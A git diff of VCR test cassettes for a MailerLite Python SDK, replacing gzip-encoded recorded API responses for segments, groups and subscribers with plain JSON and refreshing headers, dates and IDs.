max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - - '119' + - '97' + x-user_id: + - '106223' status: code: 200 message: OK diff --git a/tests/vcr_cassettes/segments-update.yml b/tests/vcr_cassettes/segments-update.yml index 560d20c..0db675b 100644 --- a/tests/vcr_cassettes/segments-update.yml +++ b/tests/vcr_cassettes/segments-update.yml @@ -18,15 +18,11 @@ interactions: uri: https://connect.mailerlite.com/api/segments/139794711363717070 response: body: - string: !!binary | - H4sIAAAAAAAAA1zMQQrCMBCF4auUB+5SmEmioXOIXqEMbZRibaUOuCi5uwRciLsH7+M/MKkp5MA8 - QcChS11MzOESEidKBIdVHxmCPr+bvk4H20wXiHfYnnkddrVcE9dlU4Oww8v2eb3VINEJxWFc5vH+ - D+kHftme1fI01BeefGzZtxQbDuKDxDNK+QAAAP//AwAgRZxfsgAAAA== + string: '{"data":{"id":"139794711363717070","name":"New Name","total":2,"open_rate":{"float":0.75,"string":"75%"},"click_rate":{"float":0,"string":"0%"},"created_at":"2024-12-04 + 13:23:45"}}' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecc2c3d88d9b30c-BEG + - 9818a34ffb02c239-BEG Cache-Control: - no-cache, private Connection: @@ -36,7 +32,7 @@ interactions: Content-Type: - application/json Date: - - Wed, 04 Dec 2024 13:34:14 GMT + - Fri, 19 Sep 2025 11:10:40 GMT Server: - cloudflare Transfer-Encoding: @@ -45,14 +41,20 @@ interactions: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - - '116' + - '94' + x-user_id: + - '106223' status: code: 200 message: OK @@ -75,14 +77,11 @@ interactions: uri: https://connect.mailerlite.com/api/segments/123123 response: body: - string: !!binary | - H4sIAAAAAAAAA6pWyk0tLk5MT1WyUgpKLc4vLUpOVcjLL1FIyy/NS9FTqgUAAAD//wMAZiyhmiEA - AAA= + string: "{\n \"message\": \"No query results for model [App\\\\Models\\\\Segment] + 123123\"\n}" headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecc2c3f2e44e292-BEG + - 9818a350de98126d-BEG Cache-Control: - no-cache, private Connection: @@ -92,7 +91,7 @@ interactions: Content-Type: - application/json Date: - - Wed, 04 Dec 2024 13:34:15 GMT + - Fri, 19 Sep 2025 11:10:40 GMT Server: - cloudflare Transfer-Encoding: @@ -101,12 +100,18 @@ interactions: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-ratelimit-limit: - '120' x-ratelimit-remaining: - - '115' + - '93' + x-user_id: + - '106223' status: code: 404 message: Not Found diff --git a/tests/vcr_cassettes/subscribers-assign-subscriber-to-group.yml b/tests/vcr_cassettes/subscribers-assign-subscriber-to-group.yml index 47fc8ef..fb873a8 100644 --- a/tests/vcr_cassettes/subscribers-assign-subscriber-to-group.yml +++ b/tests/vcr_cassettes/subscribers-assign-subscriber-to-group.yml @@ -19,17 +19,12 @@ interactions: uri: https://connect.mailerlite.com/api/subscribers response: body: - string: !!binary | - H4sIAAAAAAAAA4SR3WoDIRCFX6XMtQn7v8SrXvSqr1CKGLXN0F0VHQttyLuXyc9uKIXijd/xOOMc - j2A1aZBHQAsS6nY37qpu6Ptq6MaxHSoQ4GaNE0h4T6FEcpkez8rWhBkEZNJUMkjQhvDTsRJKMo6V - iIzOE8hKQIjOZ2VCubKZ0HzcC2xQSZNbj1fEqLS1yWXuVW/Pi6uXfTYJ984qTSChqZpuUzebqnuo - G1kPsh5AQPG/fL5MkwCTnKZ/bkb7t6WX7SjbEQS8oZts5gy9nnnu53DwIGDSmdRVegqcjAlz1P5r - ac+TpxWRln08BO9uwBEv8K1QxQucxOVPMsiXV46PH4r+bsAQCb3Cm//0AwAA//8DAOk5ezHvAQAA + string: '{"data":{"id":"139790465506477360","email":"grouptest@email.com","status":"active","source":"api","sent":0,"opens_count":0,"clicks_count":0,"open_rate":0,"click_rate":0,"ip_address":"1.1.1.1","subscribed_at":"2024-12-04 + 12:16:16","unsubscribed_at":null,"created_at":"2024-12-04 12:16:16","updated_at":"2025-09-19 + 11:10:42","fields":{"name":"John","last_name":"Doe","company":null,"country":null,"city":null,"phone":null,"state":null,"z_i_p":null},"groups":[],"opted_in_at":null,"optin_ip":null}}' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecce0fafe40e291-BEG + - 9818a35aad3971a6-BEG Cache-Control: - no-cache, private Connection: @@ -39,7 +34,7 @@ interactions: Content-Type: - application/json Date: - - Wed, 04 Dec 2024 15:37:37 GMT + - Fri, 19 Sep 2025 11:10:42 GMT Server: - cloudflare Transfer-Encoding: @@ -48,19 +43,25 @@ interactions: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - - '91' + - '86' + x-user_id: + - '106223' status: code: 200 message: OK - request: - body: '{"name": "QQLKGrQXgy"}' + body: '{"name": "UhtyyCDqLt"}' headers: Accept: - application/json @@ -78,13 +79,11 @@ interactions: uri: https://connect.mailerlite.com/api/groups response: body: - string: '{"data":{"id":"139803133867984396","name":"QQLKGrQXgy","active_count":0,"sent_count":0,"opens_count":0,"open_rate":{"float":0,"string":"0%"},"clicks_count":0,"click_rate":{"float":0,"string":"0%"},"unsubscribed_count":0,"unconfirmed_count":0,"bounced_count":0,"junk_count":0,"created_at":"2024-12-04 - 15:37:38"}}' + string: '{"data":{"id":"165968863812388812","name":"UhtyyCDqLt","active_count":0,"sent_count":0,"opens_count":0,"open_rate":{"float":0,"string":"0%"},"clicks_count":0,"click_rate":{"float":0,"string":"0%"},"unsubscribed_count":0,"unconfirmed_count":0,"bounced_count":0,"junk_count":0,"created_at":"2025-09-19 + 11:10:42"}}' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecce0fc9ca9e290-BEG + - 9818a35c6f72b018-BEG Cache-Control: - no-cache, private Connection: @@ -92,7 +91,7 @@ interactions: Content-Type: - application/json Date: - - Wed, 04 Dec 2024 15:37:38 GMT + - Fri, 19 Sep 2025 11:10:42 GMT Server: - cloudflare Transfer-Encoding: @@ -101,14 +100,20 @@ interactions: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - - '90' + - '85' + x-user_id: + - '106223' status: code: 201 message: Created @@ -128,19 +133,14 @@ interactions: User-Agent: - MailerLite-Python-SDK-Client method: POST - uri: https://connect.mailerlite.com/api/subscribers/139790465506477360/groups/139803133867984396 + uri: https://connect.mailerlite.com/api/subscribers/139790465506477360/groups/165968863812388812 response: body: - string: !!binary | - H4sIAAAAAAAAA4SNsQ6CMBgGX8V8iRsmhaJAX8BBFzY3UkohFf1rSmtiCO9uMA7g4niXXG5EI72E - GGEaCMS8yBmPOc8PWZGnvDggAsm7hkBZnk9HV166FyJI5c1TV8oG8hAswqDJL9A+NA0/XDnp9bxq - b1Z+K+8MdRBgW0wR1M2ofpl9xP8u0BDqQTlT62ZRB1KWWuPuK1vbQGplroH65dRp6XVTzS8kLEl3 - cbJj6SbeC54JnmOa3gAAAP//AwDxeR8fNwEAAA== + string: '{"data":{"id":"165968863812388812","name":"UhtyyCDqLt","active_count":0,"sent_count":0,"opens_count":0,"open_rate":{"float":0,"string":"0%"},"clicks_count":0,"click_rate":{"float":0,"string":"0%"},"unsubscribed_count":0,"unconfirmed_count":0,"bounced_count":0,"junk_count":0,"created_at":"2025-09-19 + 11:10:42"}}' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecce0fd9c46e292-BEG + - 9818a35d5c8bc687-BEG Cache-Control: - no-cache, private Connection: @@ -150,7 +150,7 @@ interactions: Content-Type: - application/json Date: - - Wed, 04 Dec 2024 15:37:38 GMT + - Fri, 19 Sep 2025 11:10:42 GMT Server: - cloudflare Transfer-Encoding: @@ -159,14 +159,20 @@ interactions: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - - '89' + - '84' + x-user_id: + - '106223' status: code: 200 message: OK @@ -191,30 +197,34 @@ interactions: body: string: '' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecce0feed8ce298-BEG + - 9818a35ecb59e290-BEG Cache-Control: - no-cache, private Connection: - keep-alive Date: - - Wed, 04 Dec 2024 15:37:38 GMT + - Fri, 19 Sep 2025 11:10:43 GMT Server: - cloudflare access-control-allow-origin: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - - '88' + - '83' + x-user_id: + - '106223' status: code: 204 message: No Content @@ -234,35 +244,39 @@ interactions: User-Agent: - MailerLite-Python-SDK-Client method: DELETE - uri: https://connect.mailerlite.com/api/groups/139803133867984396 + uri: https://connect.mailerlite.com/api/groups/165968863812388812 response: body: string: '' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecce1004a3ab311-BEG + - 9818a360286ce28f-BEG Cache-Control: - no-cache, private Connection: - keep-alive Date: - - Wed, 04 Dec 2024 15:37:38 GMT + - Fri, 19 Sep 2025 11:10:43 GMT Server: - cloudflare access-control-allow-origin: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - - '87' + - '82' + x-user_id: + - '106223' status: code: 204 message: No Content diff --git a/tests/vcr_cassettes/subscribers-count.yml b/tests/vcr_cassettes/subscribers-count.yml index 3ecf3fd..99ac9b5 100644 --- a/tests/vcr_cassettes/subscribers-count.yml +++ b/tests/vcr_cassettes/subscribers-count.yml @@ -16,13 +16,10 @@ interactions: uri: https://connect.mailerlite.com/api/subscribers?limit=0 response: body: - string: !!binary | - H4sIAAAAAAAAA6pWKskvScxRsjI0MDCuBQAAAP//AwCdOk0fDgAAAA== + string: '{"total":1004}' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecce10d0f83b01e-BEG + - 9818a36cba663267-BEG Cache-Control: - no-cache, private Connection: @@ -32,7 +29,7 @@ interactions: Content-Type: - application/json Date: - - Wed, 04 Dec 2024 15:37:40 GMT + - Fri, 19 Sep 2025 11:10:45 GMT Server: - cloudflare Transfer-Encoding: @@ -41,14 +38,20 @@ interactions: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - - '78' + - '73' + x-user_id: + - '106223' status: code: 200 message: OK diff --git a/tests/vcr_cassettes/subscribers-create.yml b/tests/vcr_cassettes/subscribers-create.yml index b048358..94e5937 100644 --- a/tests/vcr_cassettes/subscribers-create.yml +++ b/tests/vcr_cassettes/subscribers-create.yml @@ -19,28 +19,20 @@ interactions: uri: https://connect.mailerlite.com/api/subscribers response: body: - string: !!binary | - H4sIAAAAAAAAA4SRzU4DIRRGX8XcNdPADNNaVi5c+QrGEApYiTNA4GKiTd/d3NpOG2NiZsP5OMPP - xwGcQQPqAMGBAjFsN1su11KO4z2XctsDAz+bMIEC9BXHhxOtbJqBQUWDrYICYzF8eEpSK9ZTkgOh - jwiKM0jZx6ptame2U7DvtwEJuhj01+krhqyNc8VX2kusTh+t3nbVlrDzThsEBT3vZSf6jss70Sux - VmIEBi3+8mKbJga2eIP//Jnd38qoho0a1sDgNZW9x8UYOy46PpyNfkNG8JOr1HA0MzXzlN4iMJhM - RX2OHhN1Z9OcTfxcDkjdlCsGXMb5LUV/AXqEBb500PkHjgz2JbVcQT2/UMF0lRBvKkgZQ9Th4h+/ - AQAA//8DAFbFuXINAgAA + string: '{"data":{"id":"165968862226941797","email":"test5@email.com","status":"active","source":"api","sent":0,"opens_count":0,"clicks_count":0,"open_rate":0,"click_rate":0,"ip_address":"1.1.1.1","subscribed_at":"2025-09-19 + 11:10:41","unsubscribed_at":null,"created_at":"2025-09-19 11:10:41","updated_at":"2025-09-19 + 11:10:41","fields":{"name":"John","last_name":"Doe","company":null,"country":null,"city":null,"phone":null,"state":null,"z_i_p":null},"groups":[],"opted_in_at":null,"optin_ip":null}}' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecce0f39e5ee290-BEG + - 9818a352c8895165-BEG Cache-Control: - no-cache, private Connection: - keep-alive - Content-Encoding: - - gzip Content-Type: - application/json Date: - - Wed, 04 Dec 2024 15:37:36 GMT + - Fri, 19 Sep 2025 11:10:41 GMT Server: - cloudflare Transfer-Encoding: @@ -49,15 +41,21 @@ interactions: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - - '96' + - '91' + x-user_id: + - '106223' status: - code: 200 - message: OK + code: 201 + message: Created version: 1 diff --git a/tests/vcr_cassettes/subscribers-delete.yml b/tests/vcr_cassettes/subscribers-delete.yml index ec45a3b..98a0fbc 100644 --- a/tests/vcr_cassettes/subscribers-delete.yml +++ b/tests/vcr_cassettes/subscribers-delete.yml @@ -15,35 +15,39 @@ interactions: User-Agent: - MailerLite-Python-SDK-Client method: DELETE - uri: https://connect.mailerlite.com/api/subscribers/139790464455804492 + uri: https://connect.mailerlite.com/api/subscribers/165968862226941797 response: body: string: '' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecce10a7c1fe290-BEG + - 9818a36a9be00db0-BEG Cache-Control: - no-cache, private Connection: - keep-alive Date: - - Wed, 04 Dec 2024 15:37:40 GMT + - Fri, 19 Sep 2025 11:10:45 GMT Server: - cloudflare access-control-allow-origin: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - - '80' + - '75' + x-user_id: + - '106223' status: code: 204 message: No Content @@ -66,14 +70,10 @@ interactions: uri: https://connect.mailerlite.com/api/subscribers/123123 response: body: - string: !!binary | - H4sIAAAAAAAAA6pWyk0tLk5MT1WyUgpKLc4vLUpOVcjLL1FIyy/NS9FTqgUAAAD//wMAZiyhmiEA - AAA= + string: "{\n \"message\": \"No query results for model [App\\\\Models\\\\Subscriber\\\\Subscriber].\"\n}" headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecce10bcd72e293-BEG + - 9818a36bd8cb9857-BEG Cache-Control: - no-cache, private Connection: @@ -83,7 +83,7 @@ interactions: Content-Type: - application/json Date: - - Wed, 04 Dec 2024 15:37:40 GMT + - Fri, 19 Sep 2025 11:10:45 GMT Server: - cloudflare Transfer-Encoding: @@ -92,12 +92,18 @@ interactions: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-ratelimit-limit: - '120' x-ratelimit-remaining: - - '79' + - '74' + x-user_id: + - '106223' status: code: 404 message: Not Found diff --git a/tests/vcr_cassettes/subscribers-forget.yml b/tests/vcr_cassettes/subscribers-forget.yml index f998f34..5982b48 100644 --- a/tests/vcr_cassettes/subscribers-forget.yml +++ b/tests/vcr_cassettes/subscribers-forget.yml @@ -19,18 +19,12 @@ interactions: uri: https://connect.mailerlite.com/api/subscribers response: body: - string: !!binary | - H4sIAAAAAAAAA4SRwU4DIRCGX8XMmW1gy7aWkwdPvoIxhAK2pLtAYDDRpu9uprbbxpgYLnzDBww/ - R3AGDagjBAcKxHKz3nC5knIYHrmUmx4Y+MmEERSgrzg8nWlh0wQMKhpsFRQYi+HDUyW1Yj1VciD0 - EUFxBin7WLVN7cJ2DPZwXyBBF4P+tnzDkLVxrvhKd4nFedDpbVttCVvvtEFQ0PNedqLvuHwQvRIr - JQZg0OIvL7ZxZGCLN/jPzuz+Vga1XCtJLbynsvM4G0PHRceXF6NfkxH86ColHM1EybykfQQGo6mo - L6XnRNnZNGUTP+cGKZtyw4DzPO9T9FegT5jhSwedf+DEYFdSyxXU6xsFTE8J8S6ClDFEHa7+6RsA - AP//AwC7bHK1DQIAAA== + string: '{"data":{"id":"165968862226941797","email":"test5@email.com","status":"active","source":"api","sent":0,"opens_count":0,"clicks_count":0,"open_rate":0,"click_rate":0,"ip_address":"1.1.1.1","subscribed_at":"2025-09-19 + 11:10:41","unsubscribed_at":null,"created_at":"2025-09-19 11:10:41","updated_at":"2025-09-19 + 11:10:45","fields":{"name":"John","last_name":"Doe","company":null,"country":null,"city":null,"phone":null,"state":null,"z_i_p":null},"groups":[],"opted_in_at":null,"optin_ip":null}}' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecce10e3a78e298-BEG + - 9818a36ddce70380-BEG Cache-Control: - no-cache, private Connection: @@ -40,7 +34,7 @@ interactions: Content-Type: - application/json Date: - - Wed, 04 Dec 2024 15:37:41 GMT + - Fri, 19 Sep 2025 11:10:45 GMT Server: - cloudflare Transfer-Encoding: @@ -49,14 +43,20 @@ interactions: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - - '77' + - '72' + x-user_id: + - '106223' status: code: 200 message: OK @@ -76,22 +76,16 @@ interactions: User-Agent: - MailerLite-Python-SDK-Client method: POST - uri: https://connect.mailerlite.com/api/subscribers/139790464455804492/forget + uri: https://connect.mailerlite.com/api/subscribers/165968862226941797/forget response: body: - string: !!binary | - H4sIAAAAAAAAA4SSMW/DIBCF/wq62Ylsx04apg6dunasKovANUHFgODcKI3y36tLEzutKkUsfI8H - HO84glGkQB7BGpBQLdarddksm6ZtH8qmWddQAPbKOpBAmKl9PNNchx4KyKRoyCBBabKfyEoYkkZW - omVETyDLAkJEnzsdhgtrZ/XHrcCGLinCaXlCGztlTMLMd1Xz8+DTh03WyW7QdIpAQl3WzayqZ2Uj - qlpWS1m1UMDg//j84FwBOqGiOzuj+d/SysVKNlyCQYd3LO8hbZFGRzsrq1m5+OWw6EzmJnjVc3jP - YeehAKcydRfpKXC8OvRR+cP4Bo4vTWhpnMdd8HgF7tMIX53t4g+cCtimMMQM8vWNe8BPsf4mpRDJ - +s5O/h5zVluu6OWaahL8h8TeOic2KLhGDsUdxCUdobwRHEMgQi/2lnbWi0UpjDrkOZy+AQAA//8D - AKCB13GFAgAA + string: '{"data":{"id":"165968862226941797","email":"test5@email.com","status":"active","source":"api","sent":0,"opens_count":0,"clicks_count":0,"open_rate":0,"click_rate":0,"ip_address":"1.1.1.1","subscribed_at":"2025-09-19 + 11:10:41","unsubscribed_at":null,"created_at":"2025-09-19 11:10:41","updated_at":"2025-09-19 + 11:10:45","deleted_at":"2025-09-19 11:10:45","forget_at":"2025-10-19 11:10:45","fields":{"name":"John","last_name":"Doe","company":null,"country":null,"city":null,"phone":null,"state":null,"z_i_p":null},"groups":[],"location":null,"opted_in_at":null,"optin_ip":null},"message":"Subscriber + data will be completely deleted and forgotten within 30 days."}' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecce10fe9d5e290-BEG + - 9818a36f9f700380-BEG Cache-Control: - no-cache, private Connection: @@ -101,7 +95,7 @@ interactions: Content-Type: - application/json Date: - - Wed, 04 Dec 2024 15:37:41 GMT + - Fri, 19 Sep 2025 11:10:45 GMT Server: - cloudflare Transfer-Encoding: @@ -110,14 +104,20 @@ interactions: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - - '76' + - '71' + x-user_id: + - '106223' status: code: 200 message: OK diff --git a/tests/vcr_cassettes/subscribers-get-email.yml b/tests/vcr_cassettes/subscribers-get-email.yml index 1727856..9186aea 100644 --- a/tests/vcr_cassettes/subscribers-get-email.yml +++ b/tests/vcr_cassettes/subscribers-get-email.yml @@ -16,18 +16,12 @@ interactions: uri: https://connect.mailerlite.com/api/subscribers/test5@email.com response: body: - string: !!binary | - H4sIAAAAAAAAA4SR0U7DIBSGX8Wca7pASzfHlRe+gZfGEAaoxBYIHEx02bubM2u3GBPDTb+fj9Py - 9wjOoAF1hOBAgRj2uz2XWynH8ZZLue+BgZ9NmEAB+orj3Zk2Ns3AoKLBVkGBsRjePSWpFespyYHQ - RwTFGaTsY9U2tYXtFOzbdUCCLgb9ZfuCIWvjXPGV3iU250XT26HaEg7eaYOgoOe97ETfcXkjeiW2 - SozAoMVfXmzTxMAWb/Cfk9n9rYxq2KlhBwyeU3nxuBpjx0XHh8Xoz0bwk6vUcDQzNfOQZp8ilTWZ - inpJ7xMlNs3ZxI/1G6mecsGA63N+pRkL0H9Y4VMHnb/hxOClpJYrqMcn6phuE+JVCyljiDr8+Kcv - AAAA//8DAC7tTrEQAgAA + string: '{"data":{"id":"165968862226941797","email":"test5@email.com","status":"active","source":"api","sent":0,"opens_count":0,"clicks_count":0,"open_rate":0,"click_rate":0,"ip_address":"1.1.1.1","subscribed_at":"2025-09-19 + 11:10:41","unsubscribed_at":null,"created_at":"2025-09-19 11:10:41","updated_at":"2025-09-19 + 11:10:41","fields":{"name":"Someone","last_name":"Doe","company":null,"country":null,"city":null,"phone":null,"state":null,"z_i_p":null},"groups":[],"opted_in_at":null,"optin_ip":null}}' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecce0f71ccbe290-BEG + - 9818a356ad04b01d-BEG Cache-Control: - no-cache, private Connection: @@ -37,7 +31,7 @@ interactions: Content-Type: - application/json Date: - - Wed, 04 Dec 2024 15:37:37 GMT + - Fri, 19 Sep 2025 11:10:41 GMT Server: - cloudflare Transfer-Encoding: @@ -46,14 +40,20 @@ interactions: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - - '94' + - '89' + x-user_id: + - '106223' status: code: 200 message: OK diff --git a/tests/vcr_cassettes/subscribers-get-id.yml b/tests/vcr_cassettes/subscribers-get-id.yml index 052c505..b765c00 100644 --- a/tests/vcr_cassettes/subscribers-get-id.yml +++ b/tests/vcr_cassettes/subscribers-get-id.yml @@ -13,21 +13,15 @@ interactions: User-Agent: - MailerLite-Python-SDK-Client method: GET - uri: https://connect.mailerlite.com/api/subscribers/139790464455804492 + uri: https://connect.mailerlite.com/api/subscribers/165968862226941797 response: body: - string: !!binary | - H4sIAAAAAAAAA4SR0U7DIBSGX8Wca7pASzfHlRe+gZfGEAaoxBYIHEx02bubM2u3GBPDTb+fj9Py - 9wjOoAF1hOBAgRj2uz2XWynH8ZZLue+BgZ9NmEAB+orj3Zk2Ns3AoKLBVkGBsRjePSWpFespyYHQ - RwTFGaTsY9U2tYXtFOzbdUCCLgb9ZfuCIWvjXPGV3iU250XT26HaEg7eaYOgoOe97ETfcXkjeiW2 - SozAoMVfXmzTxMAWb/Cfk9n9rYxq2KlhBwyeU3nxuBpjx0XHh8Xoz0bwk6vUcDQzNfOQZp8ilTWZ - inpJ7xMlNs3ZxI/1G6mecsGA63N+pRkL0H9Y4VMHnb/hxOClpJYrqMcn6phuE+JVCyljiDr8+Kcv - AAAA//8DAC7tTrEQAgAA + string: '{"data":{"id":"165968862226941797","email":"test5@email.com","status":"active","source":"api","sent":0,"opens_count":0,"clicks_count":0,"open_rate":0,"click_rate":0,"ip_address":"1.1.1.1","subscribed_at":"2025-09-19 + 11:10:41","unsubscribed_at":null,"created_at":"2025-09-19 11:10:41","updated_at":"2025-09-19 + 11:10:41","fields":{"name":"Someone","last_name":"Doe","company":null,"country":null,"city":null,"phone":null,"state":null,"z_i_p":null},"groups":[],"opted_in_at":null,"optin_ip":null}}' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecce0f87991b018-BEG + - 9818a357f8abf339-BEG Cache-Control: - no-cache, private Connection: @@ -37,7 +31,7 @@ interactions: Content-Type: - application/json Date: - - Wed, 04 Dec 2024 15:37:37 GMT + - Fri, 19 Sep 2025 11:10:42 GMT Server: - cloudflare Transfer-Encoding: @@ -46,14 +40,20 @@ interactions: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - - '93' + - '88' + x-user_id: + - '106223' status: code: 200 message: OK diff --git a/tests/vcr_cassettes/subscribers-get-import.yml b/tests/vcr_cassettes/subscribers-get-import.yml index 9a74032..00530bf 100644 --- a/tests/vcr_cassettes/subscribers-get-import.yml +++ b/tests/vcr_cassettes/subscribers-get-import.yml @@ -16,18 +16,10 @@ interactions: uri: https://connect.mailerlite.com/api/subscribers/import/139791107607233967 response: body: - string: !!binary | - H4sIAAAAAAAAA3SQ22rEIBCG32Wu3aJJuml8jr1qKWLU7QpGxUOhLPvuJebkUuqV38w3/MzcQfLE - gd5BS6BA2qEfCMH9GfdN2w7nHhBwIVy2iRXjrX0lGBAkl7gBShD44ISKUclCevIupBWyl7z8MQIV - ggvr36sglE1ACcYIpLMKaApZIdD2m5s56ONzB1biy+CkY/rxau1vVAnixu3X1l+hamf7JOz4pMQ8 - RhH0eFhHpRKDM4qNPG7awZUUc/RaaJcju7ow8bS4f8rViMzeaMGTWtQdK2Xk1irJllszNXFtYr3C - cnY2p0GDm+5EmhPuLqShzZl23Qsu7x3m3ebrF9NmYxDE5LxfZ5fKrLCYeEhP5au2Ot7+TWmHPeXx - +AUAAP//AwCpxjFlZgIAAA== + string: '{"data":{"id":"139791107607233967","account_id":"83510","total":1,"processed":1,"imported":1,"updated":0,"errored":0,"percent":100,"done":true,"invalid":[],"invalid_count":0,"mistyped":[],"mistyped_count":0,"changed":[],"changed_count":0,"unchanged":[],"unchanged_count":0,"unsubscribed":[],"unsubscribed_count":0,"role_based":[],"role_based_count":0,"suspicious_format":[],"suspicious_format_count":0,"duplicate":[],"duplicate_count":0,"banned_import_emails_count":0,"updated_at":"2024-12-04T12:26:44.000000Z","undone_at":null,"stopped_at":null,"undo_started_at":null,"finished_at":"2024-12-04T12:26:39.000000Z"}}' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecce0f9d8c6e290-BEG + - 9818a3591e32b30c-BEG Cache-Control: - no-cache, private Connection: @@ -37,7 +29,7 @@ interactions: Content-Type: - application/json Date: - - Wed, 04 Dec 2024 15:37:37 GMT + - Fri, 19 Sep 2025 11:10:42 GMT Server: - cloudflare Transfer-Encoding: @@ -46,14 +38,20 @@ interactions: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - - '92' + - '87' + x-user_id: + - '106223' status: code: 200 message: OK diff --git a/tests/vcr_cassettes/subscribers-list.yml b/tests/vcr_cassettes/subscribers-list.yml index c961655..ecd79bf 100644 --- a/tests/vcr_cassettes/subscribers-list.yml +++ b/tests/vcr_cassettes/subscribers-list.yml @@ -16,22 +16,33 @@ interactions: uri: https://connect.mailerlite.com/api/subscribers?limit=10 response: body: - string: !!binary | - H4sIAAAAAAAAA+zYX2vbMBAA8K8y7tlt/D+xoGyjgbIyJywrXegyjCJfFi22LCS51A357sP16qT1 - Q2HsZcZvuvNJOt3vzXtIqaFAvu+Bp0DA8aKJ7fpeEPqe64d2EIIFmFOeAYFSo3Js2/5Qx6gybvCc - FTlYoA01pQYClBl+j3WmKBVDIMBzWShTZ1AYILYFhUShE1aUf2KWcbY7TdQFiaIGj5+PIZcJTVOF - WgMRZZZZoMu1ZoqvMU2oAQKu7fpnjntm+++cgLgh8VywoBSv6prNTCE1b+yU6VslG45ZqoHsQdAc - n8/OqDbJaYIVuaSiOoalMOoYctOu5bYQ7bZ6um3wmPBENsGhHlXdGRcnLyqk4SLhbU1X1nWisT+O - XslGUTTA9gF20oGdDLB9gB13YMcDbB9gww5sOMD2ATbowAYDbB9g/Q6sP8D2AdbrwHoDbB9g3Q6s - O8D2AdbpwDoD7H8E+8OCjIvdU3MbrrQ57a69TuH981rgQ/3QrTFSk9VoNWKFEMjM+Uv11YhKvhq1 - Q1X6PSuVLtQFVtfy7vJTGN/EwXz6sZpNY2f260sV3+y82ZQ9fL683rCrSK7F4vH2KprfLbf21+Ui - Wy9jPheLKv12G8HBghzrX2d7kNRs/6ohsECiSiT9iUAcu3la0nQJBP5Jn83s2kOfRn74DQAA//8D - ABTmvgP3EwAA + string: '{"data":[{"id":"141165068326798999","email":"user89999@mailerlite.com","status":"active","source":"manual","sent":0,"opens_count":0,"clicks_count":0,"open_rate":0,"click_rate":0,"ip_address":null,"subscribed_at":"2024-12-19 